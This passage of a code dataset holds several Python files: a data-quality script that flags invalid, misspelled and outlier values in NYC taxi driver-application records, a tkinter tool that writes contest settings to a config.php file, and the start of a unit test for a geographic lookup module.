standard_foramt_date = temp_date[1] + '/' + temp_date[2] + '/' + temp_date[0]\n else:\n return INVALID\n \n tmp_date = standard_foramt_date.split('/')\n if not isValidDate(int(tmp_date[2]),int(tmp_date[0]),int(tmp_date[1])):\n return INVALID\n\n if standard_foramt_date == s:\n return VALID + '$' + tmp_date[2]\n else:\n return FORMATERROR + '@' + standard_foramt_date + '$' + tmp_date[2]\n\n\n# In[7]:\n\n\ndef DateCheckWithHour(s):\n s = s.split(' ')\n res = DateCheckWithoutHour(s[0])\n ress = res.split('$')\n if len(ress) == 1:\n return res\n res2 = verify_date_str_lawyer(s[1])\n if res2 == False:\n return INVALID\n return res + '$' + ' ' + s[1] + ' ' + s[2]\n\n\n# In[8]:\n\n\n# Handle the date data in the first iteration \ndef DateHandle(cnt,date,l):\n date[cnt] = str(date[cnt])\n res = DateCheckWithoutHour(str(date[cnt]))\n res = res.split('$')\n date[cnt] += '$' + res[0]\n if len(res) != 1:\n l.append(int(res[-1]))\n if res[0] != VALID:\n date[cnt] += '$' + res[1]\n \n\n\n# In[9]:\n\n\ndef DateHandle2(cnt,date,l):\n date[cnt] = str(date[cnt])\n res = DateCheckWithHour(date[cnt])\n res = res.split('$')\n date[cnt] += '$' + res[0]\n if len(res) != 1:\n if res[0] == FORMATERROR:\n date[cnt] += res[2]\n l.append(int(res[1]))\n \n\n\n# In[10]:\n\n\ndef StatusHandle(cnt,status,d):\n status[cnt] = str(status[cnt])\n # to see if data is none value \n if status[cnt] in noneDic:\n status[cnt] += '$' + NONEVALUE\n return\n if status[cnt] not in d:\n d[status[cnt]] = 1\n else:\n d[status[cnt]] += 1\n status[cnt] = status[cnt] + '$' + VALID\n\n\n# In[11]:\n\n\n### To check if data is only consist of numbers and if the number already exist\ndef NumberCheck1(s,d):\n try:\n if (not s.isdigit()) or int(s) in d:\n return False\n return True\n except AttributeError:\n return False\n\n\n# In[12]:\n\n\ndef NumberHandle(cnt,num,d):\n # to see if data is none value \n num[cnt] = str(num[cnt])\n if num[cnt] in noneDic:\n num[cnt] = num[cnt] + '$' + NONEVALUE\n return\n if not NumberCheck1(num[cnt],d):\n num[cnt] = str(num[cnt]) + '$' + INVALID\n return\n ### Have to drop the leading zero\n d[num[cnt].lstrip(\"0\")] = len(num[cnt].lstrip(\"0\"))\n num[cnt] = num[cnt] + '$' + VALID\n \n\n\n# In[13]:\n\n\nappDate = df['App Date']\nfRUInterviewScheduled = df['FRU Interview Scheduled']\nlastUpdated = df['Last Updated']\nlist_appDate = []\nlist_fRUInterviewScheduled = []\nlist_lastUpdated = []\n\nstatus = df['Status']\ndic_status = {}\ndrugTest = df['Drug Test']\ndic_drugTest = {}\nwAVCourse = df['WAV Course']\ndic_wAVCourse = {}\ndefensiveDriving = df['Defensive Driving']\ndic_defensiveDriving = {}\ndriverExam = df['Driver Exam']\ndic_driverExam = {}\nmedicalClearanceForm = df['Medical Clearance Form']\ndic_medicalClearanceForm = {}\ndtype = df['Type']\ndic_dtype = {}\n\nappNo = df['App No']\ndic_appNo = {}\n\nset_ocappNo = set()\n\n# the first iteration to handle date\nfor i in range(rows):\n DateHandle(i,appDate,list_appDate)\n DateHandle(i,fRUInterviewScheduled,list_fRUInterviewScheduled)\n DateHandle2(i,lastUpdated,list_lastUpdated)\n StatusHandle(i,status,dic_status)\n StatusHandle(i,drugTest,dic_drugTest)\n StatusHandle(i,wAVCourse,dic_wAVCourse)\n StatusHandle(i,defensiveDriving,dic_defensiveDriving)\n StatusHandle(i,driverExam,dic_driverExam)\n StatusHandle(i,medicalClearanceForm,dic_medicalClearanceForm)\n StatusHandle(i,dtype,dic_dtype)\n NumberHandle(i,appNo,dic_appNo)\n'''\nprint('dic_dtype',dic_dtype)\nprint('dic_status',dic_status)\nprint('dic_drugTest',dic_drugTest)\nprint('dic_wAVCourse',dic_wAVCourse)\nprint('dic_defensiveDriving',dic_defensiveDriving)\nprint('dic_driverExam',dic_driverExam)\nprint('dic_medicalClearanceForm',dic_medicalClearanceForm)\n'''\n\n\n# In[14]:\n\n\n#df.head(6)\n\n\n# In[15]:\n\n\nimport tensorflow as tf\nimport textdistance as td\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom sklearn.linear_model import LogisticRegression\n\n\n# In[16]:\n\n\ndef editDist(word1, word2):\n dp = [[0 for _ in range(len(word1)+1)] for _ in range(len(word2)+1)]\n for i in range(len(dp[0])):\n dp[0][i] = i\n for i in range(len(dp)):\n dp[i][0] = i\n dp[0][0] = 0\n for i in range(len(word2)):\n for j in range(len(word1)):\n if word2[i]==word1[j]:\n dp[i+1][j+1] = dp[i][j]\n else:\n dp[i+1][j+1] = min(dp[i][j+1], dp[i+1][j], dp[i][j]) + 1\n return dp[-1][-1]\n\n\n# In[17]:\n\n\ndef lengthdiff(word1, word2):\n return abs(len(word1) - len(word2)) / max(len(word1), len(word2))\n\n\n# In[18]:\n\n\ndef JaccardDist(word1, word2):\n return 1 - td.jaccard(word1, word2)\n\n\n# In[19]:\n\n\npath1 = 'training'\npath2 = 'test'\nXtr, ytr = [], []\nXts, yts = [], []\nwith open(path1, 'r') as f:\n for line in f:\n line = line.strip('\\n').split('\\t')\n tmp = [lengthdiff(line[0], line[1]), JaccardDist(line[0], line[1]), editDist(line[0], line[1])]\n Xtr.append(tmp)\n ytr.append(int(line[2]))\nwith open(path2, 'r') as f:\n for line in f:\n line = line.strip('\\n').split('\\t')\n tmp = [lengthdiff(line[0], line[1]), JaccardDist(line[0], line[1]), editDist(line[0], line[1])]\n Xts.append(tmp)\n yts.append(int(line[2]))\nXtr = np.array(Xtr)\nytr = np.array(ytr)\nXts = np.array(Xts)\nyts = np.array(yts)\n\n\n# In[20]:\n\n\nscaling = StandardScaler()\nscaling.fit(Xtr)\nXtrs = scaling.transform(Xtr)\nXtss = scaling.transform(Xts)\n\n\n# In[21]:\n\n\nncomp = 3\npca = PCA(n_components = ncomp, svd_solver = 'randomized', whiten = True)\npca.fit(Xtrs)\nZtr = pca.transform(Xtrs)\nZts = pca.transform(Xtss)\n\n\n# In[22]:\n\n\nreg = LogisticRegression(multi_class = 'auto', solver = 'lbfgs')\nreg.fit(Ztr, ytr)\nyhat = reg.predict(Zts)\nacc = np.mean(yhat == yts)\n\n\n# In[23]:\n\n\ndef similarity(s1, s2):\n vec = [lengthdiff(s1, s2), JaccardDist(s1, s2), editDist(s1, s2)]\n vec = np.array([vec])\n vecs = scaling.transform(vec)\n Z = pca.transform(vecs)\n return reg.predict(Z)[0]\n\n\n# In[24]:\n\n\n#df.head(6)\n\n\n# In[ ]:\n\n\n\n\n\n# In[25]:\n\n\n### find outlier of appNo, step3. If abs(length - most_length_appNo) >= 2, it's a outlier.\nsum_appNo = 0\nlist_appNo = []\ndic_length_freq_appNo = {}\nset_outlier_appNo = set()\nfor value in dic_appNo.values():\n if value in dic_length_freq_appNo:\n dic_length_freq_appNo[value] += 1\n else:\n dic_length_freq_appNo[value] = 1\nmost_length_appNo = 0\ntmp = -float('inf')\nfor k,v in dic_length_freq_appNo.items():\n if v > tmp:\n most_length_appNo = k\n tmp = v\nfor k in dic_appNo.keys():\n if abs(len(k)-most_length_appNo) >= 2:\n set_outlier_appNo.add(k)\n\n\n# In[26]:\n\n\ndef StatusHandleStep3(d,s_correct):\n set_outlier = set()\n dic_mis = {}\n for k in d.keys():\n if k in s_correct:\n continue\n for m in s_correct:\n if similarity(k, m) == 1:\n dic_mis[k] = m\n break\n else:\n set_outlier.add(k)\n return dic_mis, set_outlier\n\n\n# In[27]:\n\n\ndef DateHandleStep3(l):\n set_date_outlier = set()\n n = np.array(l)\n ave = np.mean(n)\n std = np.std(n)\n barl = ave-3*std\n barh = ave+3*std\n for year in l:\n if barl <= year <= barh:\n continue\n set_date_outlier.add(year)\n return set_date_outlier,barl,barh\n\n\n# In[28]:\n\n\n#set_correctValue = {'Incomplete','Approved - License Issued','Under Review','Pending Fitness Interview','Complete','Needed','Not Applicable','HDR','PDR','VDR'}\n\nset_correctValue_dtype = {'HDR','PDR','VDR'}\nset_correctValue_status = {'Incomplete','Approved - License Issued','Under Review','Pending Fitness Interview'}\nset_correctValue_drugTest = {'Complete','Needed','Not Applicable'}\nset_correctValue_wAVCourse = {'Complete','Needed','Not Applicable'}\nset_correctValue_defensiveDriving = {'Complete','Needed','Not Applicable'}\nset_correctValue_driverExam = {'Complete','Needed','Not Applicable'}\nset_correctValue_medicalClearanceForm = {'Complete','Needed','Not Applicable'}\n\ndic_mis_dtype, set_outlier_dtype = StatusHandleStep3(dic_dtype,set_correctValue_dtype)\ndic_mis_drugTest, set_outlier_drugTest = StatusHandleStep3(dic_drugTest,set_correctValue_drugTest)\ndic_mis_wAVCourse, set_outlier_wAVCourse = StatusHandleStep3(dic_wAVCourse,set_correctValue_wAVCourse)\ndic_mis_defensiveDriving, set_outlier_defensiveDriving = StatusHandleStep3(dic_defensiveDriving,set_correctValue_defensiveDriving) \ndic_mis_driverExam, set_outlier_driverExam = StatusHandleStep3(dic_driverExam,set_correctValue_driverExam) \ndic_mis_status, set_outlier_status = StatusHandleStep3(dic_status,set_correctValue_status)\ndic_mis_medicalClearanceForm, set_outlier_medicalClearanceForm = StatusHandleStep3(dic_medicalClearanceForm,set_correctValue_medicalClearanceForm)\n\nset_outlier_appDate,barl_appDate,barh_appDate = DateHandleStep3(list_appDate)\nset_outlier_fRUInterviewScheduled,barl_fRUInterviewScheduled,barh_fRUInterviewScheduled = DateHandleStep3(list_fRUInterviewScheduled)\nset_outlier_lastUpdated,barl_lastUpdated,barh_lastUpdated = DateHandleStep3(list_lastUpdated)\n\nset_outlier_appNo = set_outlier_appNo\n\n\n# In[29]:\n\n\nprint(set_outlier_appDate,set_outlier_fRUInterviewScheduled,set_outlier_lastUpdated)\n\n\n# In[30]:\n\n\ndef IsOtherAppNo(s,d,length):\n if (not NumberCheck1(s,d)) or abs(len(s.lstrip(\"0\"))-length) >= 2:\n return NOTFIT\n return FIT\n\n\n# In[31]:\n\n\ndef IsOtherStatus(s,set_correctValue,useless):\n # it is invalid and fit the column\n if s in set_correctValue:\n return FIT\n # it is invalid and misspeeling\n for m in set_correctValue:\n if similarity(s, m) == 1:\n return FIT + '!' + MISSPELLING_OTHER + '@' + m \n # it is not fit in this column\n return NOTFIT\n\n\n# In[32]:\n\n\ndef IsOtherDate1(s,barl,barh):\n res = DateCheckWithoutHour(s)\n if res == NOT_APPLICABLE:\n return FIT\n res = res.split('$')\n if len(res) == 1:\n return NOTFIT\n else:\n date = int(res[1])\n if not barl <= date <= barh:\n return NOTFIT\n if res[0] == VALID:\n return FIT\n else:\n return FIT + '!' + res[0]\n\n\n# In[33]:\n\n\ndef IsOtherDate2(s,barl,barh):\n res = DateCheckWithHour(s)\n res = res.split('$')\n if len(res) == 1:\n return NOTFIT\n else:\n date = int(res[1])\n if not barl <= date <= barh:\n return NOTFIT\n if res[0] == VALID:\n return FIT\n else:\n return FIT + '!' + res[0] + res[2]\n\n\n# In[34]:\n\n\nfitList = [IsOtherAppNo,IsOtherStatus,IsOtherDate1,IsOtherStatus,IsOtherDate1,IsOtherStatus,IsOtherDate2]\nparList1 = [dic_appNo,set_correctValue_dtype,barl_appDate,set_correctValue_status,barl_fRUInterviewScheduled,set_correctValue_drugTest,barl_lastUpdated]\nparList2 = [most_length_appNo,0,barh_appDate,0,barh_fRUInterviewScheduled,0,barh_lastUpdated]\nnameList = ['App No','Type','App Date','Status','FRU Interview Scheduled','Drug Test','Last Updated']\n\n\n# In[35]:\n\n\ndef Compare(s):\n for i in range(len(fitList)):\n func = fitList[i]\n par1 = parList1[i]\n par2 = parList2[i]\n name = nameList[i]\n res = func(s,par1,par2)\n ress = res.split('!')\n if ress[0] != FIT:\n continue\n else:\n RET = SEMANTICOUTLIER + '#' + name\n resss = res.split('@')\n if len(resss) > 1:\n RET += '@' + resss[1] \n return RET\n return NOTFIT\n \n\n\n# In[36]:\n\n\ndef Co_OccurrenceError(line):\n Complete = 'Complete'\n Incomplete = 'Incomplete'\n UnderReview = 'Under Review'\n Approved = 'Approved - License Issued'\n Pending = 'Pending Fitness Interview'\n \n \n status = line[3].split('$')\n fru = line[4].split('$')\n drugtest = line[5].split('$')\n wav = line[6].split('$')\n defn = line[7].split('$')\n driverexam = line[8].split('$')\n med = line[9].split('$')\n \n \n other = line[10]\n \n status1 = line[3].split('@')\n fru1 = line[4].split('@')\n drugtest1 = line[5].split('@')\n wav1 = line[6].split('@')\n defn1 = line[7].split('@')\n driverexam1 = line[8].split('@')\n med1 = line[9].split('@')\n \n # Co_OccurrenceError between status and other status \n if status[1].startswith(VALID) and drugtest[1].startswith(VALID) and wav[1].startswith(VALID) and defn[1].startswith(VALID) and driverexam[1].startswith(VALID) and med[1].startswith(VALID):\n if (drugtest[0] == Complete or drugtest1[-1] == Complete) and (wav[0] == Complete or wav1[-1] == Complete) and (defn[0] == Complete or defn1[-1] == Complete) and (driverexam[0] == Complete or driverexam1[-1] == Complete) and (med[0] == Complete or med1[-1] == Complete) and other == NOTAPPLICABLE:\n flag = 1\n else:\n flag = -1\n if (status[0] == Incomplete or status1[-1] == Incomplete):\n flag *= -1\n else:\n flag *= 1\n if flag== -1:\n line[3] = status[0] + '$IN'+ status[1] + COOCCURRENCEERROR\n \n # Co_OccurrenceError between status and FRU Interview\n status = line[3].split('$')\n status1 = line[3].split('@')\n flag = 2\n if status[1].startswith(VALID) and fru[1].startswith(VALID):\n if status[0] == UnderReview or status1[-1] == UnderReview:\n flag = 1\n elif status[0] == Pending or status1[-1] == Pending:\n flag = -1\n if fru[0] == NOT_APPLICABLE or fru1[-1] == NOT_APPLICABLE:\n flag *= 1\n else:\n flag *= -1\n if flag== -1:\n line[3] = status[0] + '$IN'+ status[1] + COOCCURRENCEERROR\n \n \n \n \n\n\n# In[37]:\n\n\nfor index, row in df.iterrows():\n line = row\n for col in range(cols):\n if col == 0:\n temp = line[col].split('$')\n if temp[0] in set_outlier_appNo:\n line[col] = temp[0] + '$' + INVALID + OUTLIER\n if temp[1] == INVALID:\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] = temp[0] + '$' + cr\n if temp[1] == VALID:\n if temp[0] in set_ocappNo:\n line[col] = temp[0] + '$' + INVALID\n else:\n set_ocappNo.add(temp[0])\n elif col == 1:\n temp = line[col].split('$')\n if temp[0] in dic_mis_dtype.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_dtype[temp[0]]\n if temp[0] in set_outlier_dtype:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 2:\n temp = line[col].split('$')\n if temp[1] == VALID and temp[0].split('/')[2] in set_outlier_appDate:\n line[col] = temp[0] + '$' + INVALID + OUTLIER\n if temp[1] == INVALID:\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 3:\n temp = line[col].split('$')\n if temp[0] in dic_mis_status.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_status[temp[0]]\n if temp[0] in set_outlier_status:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 4:\n temp = line[col].split('$')\n if temp[1] == NOT_APPLICABLE:\n line[col] = temp[0] + '$' + VALID\n continue\n if temp[1] == VALID and temp[0].split('/')[2] in set_outlier_fRUInterviewScheduled:\n line[col] = temp[0] + '$' + INVALID + OUTLIER\n if temp[1] == INVALID:\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 5:\n temp = line[col].split('$')\n if temp[0] in dic_mis_drugTest.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_drugTest[temp[0]]\n if temp[0] in set_outlier_drugTest:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 6:\n temp = line[col].split('$')\n if temp[0] in dic_mis_wAVCourse.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_wAVCourse[temp[0]]\n if temp[0] in set_outlier_wAVCourse:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 7:\n temp = line[col].split('$')\n if temp[0] in dic_mis_defensiveDriving.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_defensiveDriving[temp[0]]\n if temp[0] in set_outlier_defensiveDriving:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 8:\n temp = line[col].split('$')\n if temp[0] in dic_mis_driverExam.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_driverExam[temp[0]]\n if temp[0] in set_outlier_driverExam:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 9:\n temp = line[col].split('$')\n if temp[0] in dic_mis_medicalClearanceForm.keys():\n line[col] = temp[0] + '$' + VALID + MISSPELLING + '@' + dic_mis_medicalClearanceForm[temp[0]]\n if temp[0] in set_outlier_medicalClearanceForm:\n line[col] = temp[0] + '$' + INVALID\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n elif col == 10:\n continue\n elif col == 11:\n temp = line[col].split('$')\n if temp[1] == VALID and temp[0].split(' ')[0].split('/')[2] in set_outlier_lastUpdated:\n line[col] = temp[0] + '$' + INVALID + OUTLIER\n if temp[1] == INVALID:\n cr = Compare(temp[0])\n if cr != NOTFIT:\n line[col] += cr\n Co_OccurrenceError(line)\n \n\n\n# In[38]:\n\n\nendtime = datetime.datetime.now()\nprint (endtime - starttime)\ndf.tail(30)\n\n\n# In[39]:\n\n\ndf.to_csv('TLC_New_Driver_Application_Status_Resutlt.csv')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"DataAssessment.py","file_name":"DataAssessment.py","file_ext":"py","file_size_in_byte":20937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268932293","text":"from tkinter import *\nfrom datetime import date\nfrom datetime import datetime\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nfrom tkinter.filedialog import askopenfilename\n\nimport tkinter as tk\nimport sys\nimport webbrowser\n\n# Print data to config.php\ndef printpage():\n\tctname = contestname.get()\n\tdsrtion = description.get()\n\tsttime = starttime.get()\n\tbgtime = begintime.get()\n\tdrtime = duringtime.get()\n\tsbmtime = submittime.get()\n\tpenbtn = penalty.get()\n\tpblic = public.get()\n\tscrbtn = scorepen.get()\n\tcheckbnt = checkpent.get()\n\tdirect = path.get()\n\tif checkbnt == 0:\n\t\tscrbtn = 0\n\tif drtime == \"unlimited\":\n\t\tdrtime = 0\n\tfileout = open(direct, \"w+\")\n\tfileout.write(\"\"\"\n\t\"\"\".format(\n\t\tctname, # Contest name\n\t\tdsrtion, # Contest description\n\t\tsttime, # Start time following format\n\t\tbgtime, # Begin time following format\n\t\tdrtime, # During time\n\t\tpblic, # Public or not\n\t\tsbmtime, # Submit time\n\t\tpenbtn, # Penalty\n\t\tscrbtn # Score_pen\n\t))\n\tmessagebox.showinfo(\"Save\", \"Saved successfully!\")\n\n# Save action\ndef saveaction():\n\tctname = contestname.get()\n\tdsrtion = description.get()\n\tsttime = starttime.get()\n\tbgtime = begintime.get()\n\tdrtime = duringtime.get()\n\tsbmtime = submittime.get()\n\tpenbtn = penalty.get()\n\tscrbtn = scorepen.get()\n\tpblic = public.get()\n\tprint(ctname)\n\tprint(penbtn)\n\tprint(scrbtn)\n\n# Reset data to default\ndef resetdefault():\n\tday_now = date.today()\n\tday = day_now.strftime(\"%m, %d, %Y\")\n\thour_now = datetime.now()\n\thour = hour_now.strftime(\"%H, %M, %S\")\n\tcurrent_time = hour_now.strftime(\"%H:%M:%S\")\n\tduringtime.set(\"unlimited\")\n\tcontestname.set(\"CVT ONLINE JUDGE\")\n\tdescription.set(\"CVT CODE TEAM SINCE 2008\")\n\tstarttime.set(str(day_now) + \" \" +current_time)\n\tbegintime.set(hour + \", \" + day)\n\tsubmittime.set(\"5\")\n\tscorepen.set(0)\n\tpath.set(\"C:/xampp/htdocs/config.php\")\n\tc1.select()\n\tc2.select()\n\tc3.select()\n\te7.configure(state = \"normal\")\n\te7.update()\n\n# Disabled input entry\ndef disabledentry():\n\tstatuscore = checkpent.get()\n\tif statuscore == 0:\n\t\te7.configure(state = \"disabled\")\n\t\te7.update()\n\telse:\n\t\te7.configure(state = \"normal\")\n\t\te7.update()\n\t\tc1.select() # Turn on penalty because if you want to minus the score of ctt you have to turn on penalty\n\n# Sync button\ndef synconoff():\n\tstatuspen = penalty.get()\n\tif statuspen == 0:\n\t\tc3.deselect()\n\t\te7.configure(state = \"disabled\")\n\t\te7.update()\n\n# Select file\ndef selectfile():\n\t# file_selected = filedialog.askdirectory()\n\tfile_selected = askopenfilename()\n\tprint(file_selected)\n\tpath.set(file_selected)\t\n\n# Open facebook link\ndef openlink():\n\turl = \"http://facebook.com/devilc51.xyz\"\n\twebbrowser.open_new_tab(url)\n\n\n# Init Canvas\nroot = tk.Tk()\nroot.resizable(height = False, width = False)\nroot.minsize(height = 540, width = 570)\nroot.title(\"CFC - Created by Phan Thanh An\")\nroot.configure(background='Light Gray')\n\n\n# Valuable initialize\ncontestname = StringVar()\ndescription = StringVar()\nstarttime = StringVar()\nbegintime = StringVar()\nduringtime = StringVar()\nsubmittime = StringVar()\npath = StringVar()\n\nscorepen = IntVar()\npenalty = IntVar()\ncheckpent = IntVar()\npublic = IntVar()\n\n\n# Set defaule value\nday_now = date.today()\nday = day_now.strftime(\"%m, %d, %Y\")\nhour_now = datetime.now()\ntime = hour_now.strftime(\"%H, %M, %S\")\ncurrent_time = hour_now.strftime(\"%H:%M:%S\")\n\nduringtime.set(0)\ncontestname.set(\"CVT ONLINE JUDGE\")\ndescription.set(\"CVT CODE TEAM SINCE 2008\")\nstarttime.set(str(day_now) + \" \" +current_time)\nbegintime.set(time + \", \" + day)\nsubmittime.set(\"5\")\nduringtime.set(\"unlimited\")\nscorepen.set(0)\npath.set(\"C:/xampp/htdocs/config.php\")\n\n\n# Label init\nlpath = Label(root, text = \"Config path\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl0 = Label(root, text = \"Config For Contest\", fg = \"purple\", font = \"Helvetica 20 bold\", bg = \"Light Gray\")\nl1 = Label(root, text = \"Contest name\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl2 = Label(root, text = \"Description\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl3 = Label(root, text = \"Start Time\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl4 = Label(root, text = \"Begin Time\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl5 = Label(root, text = \"During Time\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl6 = Label(root, text = \"Submit Time(s)\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl7 = Label(root, text = \"Penalty\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl8 = Label(root, text = \"Public\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nl9 = Label(root, text = \"Scrore Pen(%)\", font = \"Helvetica 18 bold\", bg = \"Light Gray\")\nlspace = Label(root, text = \"\")\nl10 = Label(root, text = \"\", bg = \"Light Gray\")\n\n\n# Print grid lable\nl0.grid(row = 0, columnspan = 2)\nlpath.grid(row = 1, column = 0, sticky = W, pady = 2)\nl1.grid(row = 2, column = 0, sticky = W, pady = 2)\nl2.grid(row = 3, column = 0, sticky = W, pady = 2)\nl3.grid(row = 4, column = 0, sticky = W, pady = 2)\nl4.grid(row = 5, column = 0, sticky = W, pady = 2)\nl5.grid(row = 6, column = 0, sticky = W, pady = 2)\nl6.grid(row = 7, column = 0, sticky = W, pady = 2)\nl7.grid(row = 8, column = 0, sticky = W, pady = 2) \nl8.grid(row = 9, column = 0, sticky = W, pady = 2) \nl9.grid(row = 10, column = 0, sticky = W, pady = 2) \nlspace.grid(row = 11, column = 0, sticky = W, pady = 2) \nl10.grid(row = 15, column = 0,sticky = W, pady = 2) \nLabel(root, text = \"Author: Phan Thanh An - facebook.com/devilc51.xyz - CVT (K18 - K21)\", fg = \"red\", \n\t\tbg = \"#FFFF66\", font = \"Helvetica 12 bold\", justify = CENTER).grid(row = 18, columnspan = 2)\n\n\n# Endline button\nButton(root, text = \"...\", command = selectfile, font = \"Helvetica 12 bold\", width = 2).grid(row = 1, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 2, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 3, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 4, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 5, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 6, column = 2)\nButton(root, text = \" \", font = \"Helvetica 12 bold\", width = 2).grid(row = 7, column = 2)\nButton(root, text = \"FB\", font = \"Helvetica 12 bold\", width = 2, \n\tbg = \"#CCFF66\", command = openlink).grid(row = 18, column = 2)\n\n\n# Entry init\nepath = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = path)\ne1 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = contestname)\ne2 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = description)\ne3 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = starttime)\ne4 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = begintime)\ne5 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = duringtime)\ne6 = Entry(root, width = 27, font = (\"tamoha\", 18), textvariable = submittime)\ne7 = Entry(root, width = 18, font = (\"tamoha\", 18), textvariable = scorepen)\n\n\n# Print grid Entry\nepath.grid(row = 1, column = 1, pady = 2)\ne1.grid(row = 2, column = 1, pady = 2)\ne2.grid(row = 3, column = 1, pady = 2)\ne3.grid(row = 4, column = 1, pady = 2)\ne4.grid(row = 5, column = 1, pady = 2)\ne5.grid(row = 6, column = 1, pady = 2)\ne6.grid(row = 7, column = 1, pady = 2)\ne7.grid(row = 10, column = 1, pady = 2)\n\n\n# Checkbox button\non_image = tk.PhotoImage(width = 48, height = 24)\noff_image = tk.PhotoImage(width = 48, height = 24)\non_image.put((\"green\",), to = (0, 0, 23,23))\noff_image.put((\"red\",), to = (24, 0, 47, 23))\n\nc1 = tk.Checkbutton(root, image = off_image, selectimage = on_image, indicatoron = False, \n\tfont = (\"tamoha\", 18), variable = penalty, command = synconoff)\nc2 = Checkbutton(root, image = off_image, selectimage = on_image, indicatoron = False,\n\tfont = (\"tamoha\", 18), variable = public)\nc3 = Checkbutton(root, image = off_image, selectimage = on_image, indicatoron = False, \n\tfont = (\"tamoha\", 18), variable = checkpent, command = disabledentry)\n\nc1.select()\nc2.select()\nc3.select()\n\n\n# Print grid checkbox button\nc1.grid(row = 8, column = 1, sticky = W, columnspan = 2)\nc2.grid(row = 9, column = 1, sticky = W, columnspan = 2)\nc3.grid(row = 10, column = 1, sticky = W, columnspan = 2)\n\n\n# Save button and reset button\nframeButton = Frame()\nButton(frameButton, text = \"Save\", command = printpage, fg = \"green\", font = \"Helvetica 18 bold\", \n\theight = 1, width = 7).pack(side = LEFT)\nButton(frameButton, text = \"Reset\", command = resetdefault, fg = \"green\", font = \"Helvetica 18 bold\", \n\theight = 1, width = 7).pack(side = LEFT)\nframeButton.grid(row = 12, columnspan = 2)\n\n# __main__\nmainloop()","sub_path":"Run_config.py","file_name":"Run_config.py","file_ext":"py","file_size_in_byte":9167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"245285123","text":"import unittest\nimport sys\n\nfrom utils.src.python.Monitoring import init\ninit(testMode=True)\n\nfrom dap_api.src.python import DapInterface\nfrom dap_api.src.python import DapManager\nfrom dap_2d_geo.src.python import DapGeo\nfrom dap_api.src.protos import dap_interface_pb2\nfrom fetch_teams.oef_core_protocol import query_pb2\nfrom utils.src.python.Logging import has_logger\nfrom dap_api.src.python.DapQueryRepn import DapQueryRepn\nfrom dap_api.src.python import ProtoWrappers\nfrom dap_api.src.python import ProtoHelpers\nfrom utils.src.python.uri import OEFURI\n\n\ncurrent_module = sys.modules[__name__]\n\nimport sys, inspect\n\n\nclass DapGeoV2Test(unittest.TestCase):\n\n @has_logger\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def setUp(self):\n \"\"\"Call before every test case.\"\"\"\n\n self.dapManager = DapManager.DapManager()\n\n dapManagerConfig = {\n \"geo\": {\n \"class\": \"DapGeo\",\n \"config\": {\n \"structure\": {\n \"location\": {\n \"location\": {\n 'type': 'location'\n },\n },\n },\n },\n },\n }\n self.dapManager.setDataModelEmbedder(\"\", \"\", \"\")\n self.dapManager.setup(\n sys.modules[__name__],\n dapManagerConfig)\n\n def _setupAgents(self):\n for agent, loc in [\n (\"007_James_Bond\", (51.477,-0.461)), # LHR\n (\"White_Spy\", (53.354,-2.275)), # MANCHESTER\n (\"Black_Spy\", (50.734,-3.414)), #EXETER\n (\"86_Maxwell_Smart\", (40.640,-73.779)), # JFK\n ]:\n update = dap_interface_pb2.Actions()\n u = update.actions.add()\n u.target_table_name = \"location\"\n u.target_field_name = \"location.update\"\n uri = OEFURI(False)\n uri.parseAgent(agent)\n uri.coreKey = \"localhost\"\n u.row_key = uri.toString()\n 